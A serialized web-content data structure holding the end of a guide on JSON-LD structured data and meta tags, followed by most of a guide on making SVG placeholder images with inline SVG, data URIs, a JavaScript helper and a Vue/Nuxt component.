\"https:\u002F\u002Fexample.com\u002Fimages\u002Fmath-markdown.png\"\n}\n",[143,196242,196243,196247,196257,196268,196280,196287,196298,196307,196311,196322,196333,196343],{"__ignoreMap":141},[1560,196244,196245],{"class":1562,"line":1563},[1560,196246,23493],{"class":1570},[1560,196248,196249,196251,196253,196255],{"class":1562,"line":337},[1560,196250,184558],{"class":1576},[1560,196252,1663],{"class":1570},[1560,196254,184563],{"class":5634},[1560,196256,11943],{"class":1570},[1560,196258,196259,196261,196263,196266],{"class":1562,"line":343},[1560,196260,184570],{"class":1576},[1560,196262,1663],{"class":1570},[1560,196264,196265],{"class":5634},"\"Article\"",[1560,196267,11943],{"class":1570},[1560,196269,196270,196273,196275,196278],{"class":1562,"line":365},[1560,196271,196272],{"class":1576},"  \"headline\"",[1560,196274,1663],{"class":1570},[1560,196276,196277],{"class":5634},"\"Writing Math Equations in Markdown\"",[1560,196279,11943],{"class":1570},[1560,196281,196282,196285],{"class":1562,"line":889},[1560,196283,196284],{"class":1576},"  \"author\"",[1560,196286,37098],{"class":1570},[1560,196288,196289,196291,196293,196296],{"class":1562,"line":1710},[1560,196290,184635],{"class":1576},[1560,196292,1663],{"class":1570},[1560,196294,196295],{"class":5634},"\"Person\"",[1560,196297,11943],{"class":1570},[1560,196299,196300,196302,196304],{"class":1562,"line":1717},[1560,196301,37103],{"class":1576},[1560,196303,1663],{"class":1570},[1560,196305,196306],{"class":5634},"\"Jane Doe\"\n",[1560,196308,196309],{"class":1562,"line":1747},[1560,196310,11862],{"class":1570},[1560,196312,196313,196316,196318,196320],{"class":1562,"line":2507},[1560,196314,196315],{"class":1576},"  \"datePublished\"",[1560,196317,1663],{"class":1570},[1560,196319,83150],{"class":5634},[1560,196321,11943],{"class":1570},[1560,196323,196324,196327,196329,196331],{"class":1562,"line":2524},[1560,196325,196326],{"class":1576},"  \"dateModified\"",[1560,196328,1663],{"class":1570},[1560,196330,83150],{"class":5634},[1560,196332,11943],{"class":1570},[1560,196334,196335,196338,196340],{"class":1562,"line":2529},[1560,196336,196337],{"class":1576},"  \"image\"",[1560,196339,1663],{"class":1570},[1560,196341,196342],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimages\u002Fmath-markdown.png\"\n",[1560,196344,196345],{"class":1562,"line":2534},[1560,196346,1585],{"class":1570},[16,196348,196349,196232,196352,196354],{},[47,196350,196351],{},"FAQ pages",[143,196353,184500],{}," to enable expandable Q&A in search results:",[135,196356,196358],{"className":23484,"code":196357,"language":23486,"meta":141,"style":141},"{\n  \"@context\": \"https:\u002F\u002Fschema.org\",\n  \"@type\": \"FAQPage\",\n  \"mainEntity\": [\n    {\n      \"@type\": \"Question\",\n      \"name\": \"What is ROT13?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"ROT13 is a simple letter substitution cipher that replaces each letter with the 13th letter after it in the alphabet.\"\n      }\n    }\n  ]\n}\n",[143,196359,196360,196364,196374,196385,196392,196396,196408,196420,196427,196439,196449,196453,196457,196461],{"__ignoreMap":141},[1560,196361,196362],{"class":1562,"line":1563},[1560,196363,23493],{"class":1570},[1560,196365,196366,196368,196370,196372],{"class":1562,"line":337},[1560,196367,184558],{"class":1576},[1560,196369,1663],{"class":1570},[1560,196371,184563],{"class":5634},[1560,196373,11943],{"class":1570},[1560,196375,196376,196378,196380,196383],{"class":1562,"line":343},[1560,196377,184570],{"class":1576},[1560,196379,1663],{"class":1570},[1560,196381,196382],{"class":5634},"\"FAQPage\"",[1560,196384,11943],{"class":1570},[1560,196386,196387,196390],{"class":1562,"line":365},[1560,196388,196389],{"class":1576},"  \"mainEntity\"",[1560,196391,82876],{"class":1570},[1560,196393,196394],{"class":1562,"line":889},[1560,196395,183571],{"class":1570},[1560,196397,196398,196401,196403,196406],{"class":1562,"line":1710},[1560,196399,196400],{"class":1576},"      \"@type\"",[1560,196402,1663],{"class":1570},[1560,196404,196405],{"class":5634},"\"Question\"",[1560,196407,11943],{"class":1570},[1560,196409,196410,196413,196415,196418],{"class":1562,"line":1717},[1560,196411,196412],{"class":1576},"      \"name\"",[1560,196414,1663],{"class":1570},[1560,196416,196417],{"class":5634},"\"What is ROT13?\"",[1560,196419,11943],{"class":1570},[1560,196421,196422,196425],{"class":1562,"line":1747},[1560,196423,196424],{"class":1576},"      \"acceptedAnswer\"",[1560,196426,37098],{"class":1570},[1560,196428,196429,196432,196434,196437],{"class":1562,"line":2507},[1560,196430,196431],{"class":1576},"        \"@type\"",[1560,196433,1663],{"class":1570},[1560,196435,196436],{"class":5634},"\"Answer\"",[1560,196438,11943],{"class":1570},[1560,196440,196441,196444,196446],{"class":1562,"line":2524},[1560,196442,196443],{"class":1576},"        \"text\"",[1560,196445,1663],{"class":1570},[1560,196447,196448],{"class":5634},"\"ROT13 is a simple letter substitution cipher that replaces each letter with the 13th letter after it in the alphabet.\"\n",[1560,196450,196451],{"class":1562,"line":2529},[1560,196452,28244],{"class":1570},[1560,196454,196455],{"class":1562,"line":2534},[1560,196456,11612],{"class":1570},[1560,196458,196459],{"class":1562,"line":2542},[1560,196460,49526],{"class":1570},[1560,196462,196463],{"class":1562,"line":2558},[1560,196464,1585],{"class":1570},[16,196466,196467,196470,196471,8037],{},[47,196468,196469],{},"Breadcrumb navigation"," uses ",[143,196472,184539],{},[135,196474,196476],{"className":23484,"code":196475,"language":23486,"meta":141,"style":141},"{\n  \"@context\": \"https:\u002F\u002Fschema.org\",\n  \"@type\": \"BreadcrumbList\",\n  \"itemListElement\": [\n    { \"@type\": \"ListItem\", \"position\": 1, \"name\": \"Tools\", \"item\": \"https:\u002F\u002Fexample.com\u002Ftools\" },\n    { \"@type\": \"ListItem\", \"position\": 2, \"name\": \"JSON Formatter\", \"item\": \"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter\" }\n  ]\n}\n",[143,196477,196478,196482,196492,196503,196510,196552,196588,196592],{"__ignoreMap":141},[1560,196479,196480],{"class":1562,"line":1563},[1560,196481,23493],{"class":1570},[1560,196483,196484,196486,196488,196490],{"class":1562,"line":337},[1560,196485,184558],{"class":1576},[1560,196487,1663],{"class":1570},[1560,196489,184563],{"class":5634},[1560,196491,11943],{"class":1570},[1560,196493,196494,196496,196498,196501],{"class":1562,"line":343},[1560,196495,184570],{"class":1576},[1560,196497,1663],{"class":1570},[1560,196499,196500],{"class":5634},"\"BreadcrumbList\"",[1560,196502,11943],{"class":1570},[1560,196504,196505,196508],{"class":1562,"line":365},[1560,196506,196507],{"class":1576},"  \"itemListElement\"",[1560,196509,82876],{"class":1570},[1560,196511,196512,196514,196517,196519,196522,196524,196527,196529,196531,196533,196535,196537,196540,196542,196545,196547,196550],{"class":1562,"line":889},[1560,196513,44815],{"class":1570},[1560,196515,196516],{"class":1576},"\"@type\"",[1560,196518,1663],{"class":1570},[1560,196520,196521],{"class":5634},"\"ListItem\"",[1560,196523,1459],{"class":1570},[1560,196525,196526],{"class":1576},"\"position\"",[1560,196528,1663],{"class":1570},[1560,196530,3585],{"class":1576},[1560,196532,1459],{"class":1570},[1560,196534,84838],{"class":1576},[1560,196536,1663],{"class":1570},[1560,196538,196539],{"class":5634},"\"Tools\"",[1560,196541,1459],{"class":1570},[1560,196543,196544],{"class":1576},"\"item\"",[1560,196546,1663],{"class":1570},[1560,196548,196549],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Ftools\"",[1560,196551,21223],{"class":1570},[1560,196553,196554,196556,196558,196560,196562,196564,196566,196568,196570,196572,196574,196576,196578,196580,196582,196584,196586],{"class":1562,"line":1710},[1560,196555,44815],{"class":1570},[1560,196557,196516],{"class":1576},[1560,196559,1663],{"class":1570},[1560,196561,196521],{"class":5634},[1560,196563,1459],{"class":1570},[1560,196565,196526],{"class":1576},[1560,196567,1663],{"class":1570},[1560,196569,10099],{"class":1576},[1560,196571,1459],{"class":1570},[1560,196573,84838],{"class":1576},[1560,196575,1663],{"class":1570},[1560,196577,184586],{"class":5634},[1560,196579,1459],{"class":1570},[1560,196581,196544],{"class":1576},[1560,196583,1663],{"class":1570},[1560,196585,161269],{"class":5634},[1560,196587,27879],{"class":1570},[1560,196589,196590],{"class":1562,"line":1717},[1560,196591,49526],{"class":1570},[1560,196593,196594],{"class":1562,"line":1747},[1560,196595,1585],{"class":1570},[11,196597,196599],{"id":196598},"validation-and-testing","Validation and Testing",[16,196601,196602],{},"Structured data errors silently disable rich results without any visible warning on your page. Validate before deploying:",[41,196604,196605,196610,196616],{},[44,196606,196607,196609],{},[47,196608,195985],{}," (search.google.com\u002Ftest\u002Frich-results): Tests individual URLs for structured data eligibility.",[44,196611,196612,196615],{},[47,196613,196614],{},"Schema Markup Validator"," (validator.schema.org): Checks JSON-LD syntax and schema compliance.",[44,196617,196618,196621],{},[47,196619,196620],{},"Google Search Console",": Reports structured data errors at scale across your site after indexing.",[16,196623,196624,196625,196627,196628,1856,196631,196634,196635,55616,196638,196640,196641,196644],{},"Common validation errors include missing required properties (every ",[143,196626,184526],{}," needs ",[143,196629,196630],{},"headline",[143,196632,196633],{},"datePublished","), incorrect types (using ",[143,196636,196637],{},"WebPage",[143,196639,184487],{}," for tool pages), and duplicate ",[143,196642,196643],{},"@id"," values across pages.",[16,196646,196647,196648,196650,196651,196654],{},"For tool pages specifically, always include the ",[143,196649,184487],{}," schema with ",[143,196652,196653],{},"offers.price = \"0\""," to signal that the tool is free. Google uses this to display pricing information in search results, and a free label increases click-through rates.",[16,196656,196657,196658,196660],{},"Building meta tags and structured data from scratch is error-prone. The meta tag generator at ",[98,196659,152835],{"href":152835}," produces both standard meta tags and JSON-LD markup together, ensuring consistency between your page-level metadata and entity-level structured data.",[2043,196662,196663],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":196665},[196666,196667,196668,196669],{"id":195909,"depth":337,"text":195910},{"id":195991,"depth":337,"text":195992},{"id":196222,"depth":337,"text":196223},{"id":196598,"depth":337,"text":196599},"Combine JSON-LD structured data with meta tags for maximum search engine visibility.",{},"\u002Fguides\u002Fstructured-data-meta-tags",{"title":195901,"description":196670},"guides\u002Fstructured-data-meta-tags","ObxkDIJAWZBsr8Z9JLktUzdjlAZDXCSz7zQpamFAUD0",{"id":196677,"title":196678,"body":196679,"date":2070,"description":197953,"extension":361,"meta":197954,"navigation":363,"path":197957,"readingTime":1717,"seo":197958,"stem":197959,"__hash__":197960},"guides\u002Fguides\u002Fsvg-placeholder-images-development.md","SVG Placeholder Images for Development: Lightweight, Scalable, Perfect",{"type":8,"value":196680,"toc":197939},[196681,196685,196688,196691,196759,196762,196766,196769,196926,196929,196933,196942,196992,196996,197179,197183,197186,197527,197531,197538,197665,197675,197750,197754,197759,197848,197856,197860,197863,197888,197890,197913,197915,197921,197923,197936],[11,196682,196684],{"id":196683},"why-svg-for-placeholder-images","Why SVG for Placeholder Images?",[16,196686,196687],{},"During development, you need images that load fast, scale perfectly, and communicate layout intent. Raster placeholder services (like Lorem Picsum) download actual JPEG\u002FPNG files — real HTTP requests, real kilobytes, and real latency on slow connections.",[16,196689,196690],{},"SVG placeholder images solve all three problems:",[193,196692,196693,196705],{},[196,196694,196695],{},[199,196696,196697,196699,196702],{},[202,196698,14482],{},[202,196700,196701],{},"Raster Placeholder",[202,196703,196704],{},"SVG Placeholder",[211,196706,196707,196717,196728,196739,196749],{},[199,196708,196709,196711,196714],{},[216,196710,85178],{},[216,196712,196713],{},"5–50 KB per image",[216,196715,196716],{},"0.2–2 KB per image",[199,196718,196719,196722,196725],{},[216,196720,196721],{},"Scaling",[216,196723,196724],{},"Pixelates at high DPI",[216,196726,196727],{},"Crisp at any resolution",[199,196729,196730,196733,196736],{},[216,196731,196732],{},"HTTP request",[216,196734,196735],{},"Required (external service)",[216,196737,196738],{},"Optional (inline or data URI)",[199,196740,196741,196743,196746],{},[216,196742,124087],{},[216,196744,196745],{},"Limited (size, blur)",[216,196747,196748],{},"Full control (text, color, shape)",[199,196750,196751,196753,196756],{},[216,196752,93518],{},[216,196754,196755],{},"Fails without network",[216,196757,196758],{},"Works offline if inlined",[16,196760,196761],{},"For local development, SVG placeholders eliminate external dependencies entirely.",[11,196763,196765],{"id":196764},"inline-svg-placeholders","Inline SVG Placeholders",[16,196767,196768],{},"The simplest approach drops an SVG directly into your HTML:",[135,196770,196772],{"className":6417,"code":196771,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"image-slot\">\n  \u003Csvg width=\"800\" height=\"600\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n    \u003Crect width=\"100%\" height=\"100%\" fill=\"#E2E8F0\"\u002F>\n    \u003Ctext x=\"50%\" y=\"50%\" dominant-baseline=\"middle\" text-anchor=\"middle\"\n          font-family=\"sans-serif\" font-size=\"24\" fill=\"#94A3B8\">\n      800 × 600\n    \u003C\u002Ftext>\n  \u003C\u002Fsvg>\n\u003C\u002Fdiv>\n",[143,196773,196774,196789,196815,196841,196873,196897,196902,196910,196918],{"__ignoreMap":141},[1560,196775,196776,196778,196780,196782,196784,196787],{"class":1562,"line":1563},[1560,196777,6431],{"class":1570},[1560,196779,7291],{"class":2484},[1560,196781,11423],{"class":1566},[1560,196783,7297],{"class":1570},[1560,196785,196786],{"class":5634},"\"image-slot\"",[1560,196788,6441],{"class":1570},[1560,196790,196791,196793,196795,196797,196799,196801,196803,196805,196807,196809,196811,196813],{"class":1562,"line":337},[1560,196792,11223],{"class":1570},[1560,196794,11192],{"class":2484},[1560,196796,10649],{"class":1566},[1560,196798,7297],{"class":1570},[1560,196800,168231],{"class":5634},[1560,196802,10657],{"class":1566},[1560,196804,7297],{"class":1570},[1560,196806,10654],{"class":5634},[1560,196808,12261],{"class":1566},[1560,196810,7297],{"class":1570},[1560,196812,12266],{"class":5634},[1560,196814,6441],{"class":1570},[1560,196816,196817,196819,196821,196823,196825,196827,196829,196831,196833,196835,196837,196839],{"class":1562,"line":343},[1560,196818,12292],{"class":1570},[1560,196820,155513],{"class":2484},[1560,196822,10649],{"class":1566},[1560,196824,7297],{"class":1570},[1560,196826,147826],{"class":5634},[1560,196828,10657],{"class":1566},[1560,196830,7297],{"class":1570},[1560,196832,147826],{"class":5634},[1560,196834,11203],{"class":1566},[1560,196836,7297],{"class":1570},[1560,196838,169231],{"class":5634},[1560,196840,11237],{"class":1570},[1560,196842,196843,196845,196847,196849,196851,196853,196855,196857,196859,196862,196864,196867,196869,196871],{"class":1562,"line":365},[1560,196844,12292],{"class":1570},[1560,196846,140],{"class":2484},[1560,196848,155543],{"class":1566},[1560,196850,7297],{"class":1570},[1560,196852,155548],{"class":5634},[1560,196854,155551],{"class":1566},[1560,196856,7297],{"class":1570},[1560,196858,155548],{"class":5634},[1560,196860,196861],{"class":1566}," dominant-baseline",[1560,196863,7297],{"class":1570},[1560,196865,196866],{"class":5634},"\"middle\"",[1560,196868,155558],{"class":1566},[1560,196870,7297],{"class":1570},[1560,196872,155563],{"class":5634},[1560,196874,196875,196878,196880,196882,196884,196886,196888,196890,196892,196895],{"class":1562,"line":889},[1560,196876,196877],{"class":1566},"          font-family",[1560,196879,7297],{"class":1570},[1560,196881,155582],{"class":5634},[1560,196883,155585],{"class":1566},[1560,196885,7297],{"class":1570},[1560,196887,168573],{"class":5634},[1560,196889,11203],{"class":1566},[1560,196891,7297],{"class":1570},[1560,196893,196894],{"class":5634},"\"#94A3B8\"",[1560,196896,6441],{"class":1570},[1560,196898,196899],{"class":1562,"line":1710},[1560,196900,196901],{"class":1570},"      800 × 600\n",[1560,196903,196904,196906,196908],{"class":1562,"line":1717},[1560,196905,124461],{"class":1570},[1560,196907,140],{"class":2484},[1560,196909,6441],{"class":1570},[1560,196911,196912,196914,196916],{"class":1562,"line":1747},[1560,196913,12331],{"class":1570},[1560,196915,11192],{"class":2484},[1560,196917,6441],{"class":1570},[1560,196919,196920,196922,196924],{"class":1562,"line":2507},[1560,196921,11242],{"class":1570},[1560,196923,7291],{"class":2484},[1560,196925,6441],{"class":1570},[16,196927,196928],{},"This renders instantly, scales perfectly, and clearly communicates the intended dimensions.",[11,196930,196932],{"id":196931},"data-uri-svg-placeholders","Data URI SVG Placeholders",[16,196934,196935,196936,196938,196939,196941],{},"For ",[143,196937,10900],{}," tags that require a ",[143,196940,116758],{}," attribute, encode the SVG as a data URI:",[135,196943,196945],{"className":6417,"code":196944,"language":6419,"meta":141,"style":141},"\u003Cimg\n  src=\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' width='800' height='600'%3E%3Crect width='100%25' height='100%25' fill='%23E2E8F0'\u002F%3E%3Ctext x='50%25' y='50%25' dominant-baseline='middle' text-anchor='middle' font-family='sans-serif' font-size='24' fill='%2394A3B8'%3E800 × 600%3C\u002Ftext%3E%3C\u002Fsvg%3E\"\n  alt=\"Placeholder image 800x600\"\n  width=\"800\"\n  height=\"600\"\n\u002F>\n",[143,196946,196947,196953,196962,196971,196980,196988],{"__ignoreMap":141},[1560,196948,196949,196951],{"class":1562,"line":1563},[1560,196950,6431],{"class":1570},[1560,196952,168947],{"class":2484},[1560,196954,196955,196957,196959],{"class":1562,"line":337},[1560,196956,130162],{"class":1566},[1560,196958,7297],{"class":1570},[1560,196960,196961],{"class":5634},"\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' width='800' height='600'%3E%3Crect width='100%25' height='100%25' fill='%23E2E8F0'\u002F%3E%3Ctext x='50%25' y='50%25' dominant-baseline='middle' text-anchor='middle' font-family='sans-serif' font-size='24' fill='%2394A3B8'%3E800 × 600%3C\u002Ftext%3E%3C\u002Fsvg%3E\"\n",[1560,196963,196964,196966,196968],{"class":1562,"line":343},[1560,196965,168979],{"class":1566},[1560,196967,7297],{"class":1570},[1560,196969,196970],{"class":5634},"\"Placeholder image 800x600\"\n",[1560,196972,196973,196975,196977],{"class":1562,"line":365},[1560,196974,12386],{"class":1566},[1560,196976,7297],{"class":1570},[1560,196978,196979],{"class":5634},"\"800\"\n",[1560,196981,196982,196984,196986],{"class":1562,"line":889},[1560,196983,12400],{"class":1566},[1560,196985,7297],{"class":1570},[1560,196987,168965],{"class":5634},[1560,196989,196990],{"class":1562,"line":1710},[1560,196991,11237],{"class":1570},[33,196993,196995],{"id":196994},"generating-data-uris-programmatically","Generating Data URIs Programmatically",[135,196997,196999],{"className":1607,"code":196998,"language":1609,"meta":141,"style":141},"function svgPlaceholder(width, height, text, bgColor = '#E2E8F0', textColor = '#94A3B8') {\n  const svg = `\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"${width}\" height=\"${height}\">\n    \u003Crect width=\"100%\" height=\"100%\" fill=\"${bgColor}\"\u002F>\n    \u003Ctext x=\"50%\" y=\"50%\" dominant-baseline=\"middle\" text-anchor=\"middle\"\n          font-family=\"sans-serif\" font-size=\"20\" fill=\"${textColor}\">\n      ${text || `${width} × ${height}`}\n    \u003C\u002Ftext>\n  \u003C\u002Fsvg>`;\n  return `data:image\u002Fsvg+xml,${encodeURIComponent(svg)}`;\n}\n\n\u002F\u002F Usage\ndocument.querySelector('img').src = svgPlaceholder(800, 600);\n",[143,197000,197001,197042,197063,197073,197078,197087,197109,197114,197121,197140,197144,197148,197152],{"__ignoreMap":141},[1560,197002,197003,197005,197008,197010,197012,197014,197016,197018,197020,197022,197025,197027,197030,197032,197035,197037,197040],{"class":1562,"line":1563},[1560,197004,8648],{"class":1669},[1560,197006,197007],{"class":1566}," svgPlaceholder",[1560,197009,1688],{"class":1570},[1560,197011,1870],{"class":2219},[1560,197013,1459],{"class":1570},[1560,197015,1873],{"class":2219},[1560,197017,1459],{"class":1570},[1560,197019,140],{"class":2219},[1560,197021,1459],{"class":1570},[1560,197023,197024],{"class":2219},"bgColor",[1560,197026,8186],{"class":1669},[1560,197028,197029],{"class":5634}," '#E2E8F0'",[1560,197031,1459],{"class":1570},[1560,197033,197034],{"class":2219},"textColor",[1560,197036,8186],{"class":1669},[1560,197038,197039],{"class":5634}," '#94A3B8'",[1560,197041,9345],{"class":1570},[1560,197043,197044,197046,197048,197050,197053,197055,197058,197060],{"class":1562,"line":337},[1560,197045,28057],{"class":1669},[1560,197047,12636],{"class":1576},[1560,197049,8186],{"class":1669},[1560,197051,197052],{"class":5634}," `\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"${",[1560,197054,1870],{"class":1570},[1560,197056,197057],{"class":5634},"}\" height=\"${",[1560,197059,1873],{"class":1570},[1560,197061,197062],{"class":5634},"}\">\n",[1560,197064,197065,197068,197070],{"class":1562,"line":343},[1560,197066,197067],{"class":5634},"    \u003Crect width=\"100%\" height=\"100%\" fill=\"${",[1560,197069,197024],{"class":1570},[1560,197071,197072],{"class":5634},"}\"\u002F>\n",[1560,197074,197075],{"class":1562,"line":365},[1560,197076,197077],{"class":5634},"    \u003Ctext x=\"50%\" y=\"50%\" dominant-baseline=\"middle\" text-anchor=\"middle\"\n",[1560,197079,197080,197083,197085],{"class":1562,"line":889},[1560,197081,197082],{"class":5634},"          font-family=\"sans-serif\" font-size=\"20\" fill=\"${",[1560,197084,197034],{"class":1570},[1560,197086,197062],{"class":5634},[1560,197088,197089,197092,197094,197097,197099,197101,197104,197106],{"class":1562,"line":1710},[1560,197090,197091],{"class":5634},"      ${",[1560,197093,140],{"class":1570},[1560,197095,197096],{"class":1669}," ||",[1560,197098,34367],{"class":5634},[1560,197100,1870],{"class":1570},[1560,197102,197103],{"class":5634},"} × ${",[1560,197105,1873],{"class":1570},[1560,197107,197108],{"class":5634},"}`}\n",[1560,197110,197111],{"class":1562,"line":1717},[1560,197112,197113],{"class":5634},"    \u003C\u002Ftext>\n",[1560,197115,197116,197119],{"class":1562,"line":1747},[1560,197117,197118],{"class":5634},"  \u003C\u002Fsvg>`",[1560,197120,2228],{"class":1570},[1560,197122,197123,197125,197128,197130,197132,197134,197136,197138],{"class":1562,"line":2507},[1560,197124,9350],{"class":1669},[1560,197126,197127],{"class":5634}," `data:image\u002Fsvg+xml,${",[1560,197129,33827],{"class":1566},[1560,197131,1688],{"class":5634},[1560,197133,11192],{"class":1570},[1560,197135,1525],{"class":5634},[1560,197137,9582],{"class":5634},[1560,197139,2228],{"class":1570},[1560,197141,197142],{"class":1562,"line":2524},[1560,197143,1585],{"class":1570},[1560,197145,197146],{"class":1562,"line":2529},[1560,197147,1702],{"emptyLinePlaceholder":363},[1560,197149,197150],{"class":1562,"line":2534},[1560,197151,174014],{"class":1649},[1560,197153,197154,197156,197158,197160,197162,197165,197167,197169,197171,197173,197175,197177],{"class":1562,"line":2542},[1560,197155,11641],{"class":1570},[1560,197157,11786],{"class":1566},[1560,197159,1688],{"class":1570},[1560,197161,11563],{"class":5634},[1560,197163,197164],{"class":1570},").src ",[1560,197166,7297],{"class":1669},[1560,197168,197007],{"class":1566},[1560,197170,1688],{"class":1570},[1560,197172,1666],{"class":1576},[1560,197174,1459],{"class":1570},[1560,197176,24601],{"class":1576},[1560,197178,1744],{"class":1570},[11,197180,197182],{"id":197181},"vuenuxt-component","Vue\u002FNuxt Component",[16,197184,197185],{},"For Nuxt projects, create a reusable placeholder component:",[135,197187,197189],{"className":17356,"code":197188,"language":17358,"meta":141,"style":141},"\u003Cscript setup lang=\"ts\">\nconst props = withDefaults(defineProps\u003C{\n  width: number\n  height: number\n  text?: string\n  bgColor?: string\n  textColor?: string\n}>(), {\n  text: '',\n  bgColor: '#E2E8F0',\n  textColor: '#94A3B8',\n})\n\nconst label = computed(() => props.text || `${props.width} × ${props.height}`)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Csvg :width=\"width\" :height=\"height\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" role=\"img\" :aria-label=\"`Placeholder: ${label}`\">\n    \u003Crect width=\"100%\" height=\"100%\" :fill=\"bgColor\" \u002F>\n    \u003Ctext x=\"50%\" y=\"50%\" dominant-baseline=\"middle\" text-anchor=\"middle\"\n          font-family=\"sans-serif\" :font-size=\"Math.min(width, height) \u002F 12\" :fill=\"textColor\">\n      {{ label }}\n    \u003C\u002Ftext>\n  \u003C\u002Fsvg>\n\u003C\u002Ftemplate>\n",[143,197190,197191,197207,197225,197233,197241,197250,197259,197268,197273,197282,197292,197302,197306,197310,197351,197359,197363,197371,197415,197443,197473,197498,197503,197511,197519],{"__ignoreMap":141},[1560,197192,197193,197195,197197,197199,197201,197203,197205],{"class":1562,"line":1563},[1560,197194,6431],{"class":1570},[1560,197196,11475],{"class":2484},[1560,197198,17369],{"class":1566},[1560,197200,17372],{"class":1566},[1560,197202,7297],{"class":1570},[1560,197204,17377],{"class":5634},[1560,197206,6441],{"class":1570},[1560,197208,197209,197211,197213,197215,197218,197220,197223],{"class":1562,"line":337},[1560,197210,8180],{"class":1669},[1560,197212,17386],{"class":1576},[1560,197214,8186],{"class":1669},[1560,197216,197217],{"class":1566}," withDefaults",[1560,197219,1688],{"class":1570},[1560,197221,197222],{"class":1566},"defineProps",[1560,197224,17394],{"class":1570},[1560,197226,197227,197229,197231],{"class":1562,"line":343},[1560,197228,12386],{"class":2219},[1560,197230,8037],{"class":1669},[1560,197232,164001],{"class":1576},[1560,197234,197235,197237,197239],{"class":1562,"line":365},[1560,197236,12400],{"class":2219},[1560,197238,8037],{"class":1669},[1560,197240,164001],{"class":1576},[1560,197242,197243,197246,197248],{"class":1562,"line":889},[1560,197244,197245],{"class":2219},"  text",[1560,197247,17402],{"class":1669},[1560,197249,163946],{"class":1576},[1560,197251,197252,197255,197257],{"class":1562,"line":1710},[1560,197253,197254],{"class":2219},"  bgColor",[1560,197256,17402],{"class":1669},[1560,197258,163946],{"class":1576},[1560,197260,197261,197264,197266],{"class":1562,"line":1717},[1560,197262,197263],{"class":2219},"  textColor",[1560,197265,17402],{"class":1669},[1560,197267,163946],{"class":1576},[1560,197269,197270],{"class":1562,"line":1747},[1560,197271,197272],{"class":1570},"}>(), {\n",[1560,197274,197275,197278,197280],{"class":1562,"line":2507},[1560,197276,197277],{"class":1570},"  text: ",[1560,197279,5635],{"class":5634},[1560,197281,11943],{"class":1570},[1560,197283,197284,197287,197290],{"class":1562,"line":2524},[1560,197285,197286],{"class":1570},"  bgColor: ",[1560,197288,197289],{"class":5634},"'#E2E8F0'",[1560,197291,11943],{"class":1570},[1560,197293,197294,197297,197300],{"class":1562,"line":2529},[1560,197295,197296],{"class":1570},"  textColor: ",[1560,197298,197299],{"class":5634},"'#94A3B8'",[1560,197301,11943],{"class":1570},[1560,197303,197304],{"class":1562,"line":2534},[1560,197305,1626],{"class":1570},[1560,197307,197308],{"class":1562,"line":2542},[1560,197309,1702],{"emptyLinePlaceholder":363},[1560,197311,197312,197314,197316,197318,197321,197323,197325,197328,197330,197332,197335,197337,197339,197341,197343,197345,197347,197349],{"class":1562,"line":2558},[1560,197313,8180],{"class":1669},[1560,197315,33087],{"class":1576},[1560,197317,8186],{"class":1669},[1560,197319,197320],{"class":1566}," computed",[1560,197322,135656],{"class":1570},[1560,197324,11503],{"class":1669},[1560,197326,197327],{"class":1570}," props.text ",[1560,197329,82344],{"class":1669},[1560,197331,34367],{"class":5634},[1560,197333,197334],{"class":1570},"props",[1560,197336,468],{"class":5634},[1560,197338,1870],{"class":1570},[1560,197340,197103],{"class":5634},[1560,197342,197334],{"class":1570},[1560,197344,468],{"class":5634},[1560,197346,1873],{"class":1570},[1560,197348,9582],{"class":5634},[1560,197350,8252],{"class":1570},[1560,197352,197353,197355,197357],{"class":1562,"line":2570},[1560,197354,11242],{"class":1570},[1560,197356,11475],{"class":2484},[1560,197358,6441],{"class":1570},[1560,197360,197361],{"class":1562,"line":6638},[1560,197362,1702],{"emptyLinePlaceholder":363},[1560,197364,197365,197367,197369],{"class":1562,"line":11615},[1560,197366,6431],{"class":1570},[1560,197368,17455],{"class":2484},[1560,197370,6441],{"class":1570},[1560,197372,197373,197375,197377,197380,197382,197385,197388,197390,197393,197395,197397,197399,197401,197403,197405,197408,197410,197413],{"class":1562,"line":11621},[1560,197374,11223],{"class":1570},[1560,197376,11192],{"class":2484},[1560,197378,197379],{"class":1566}," 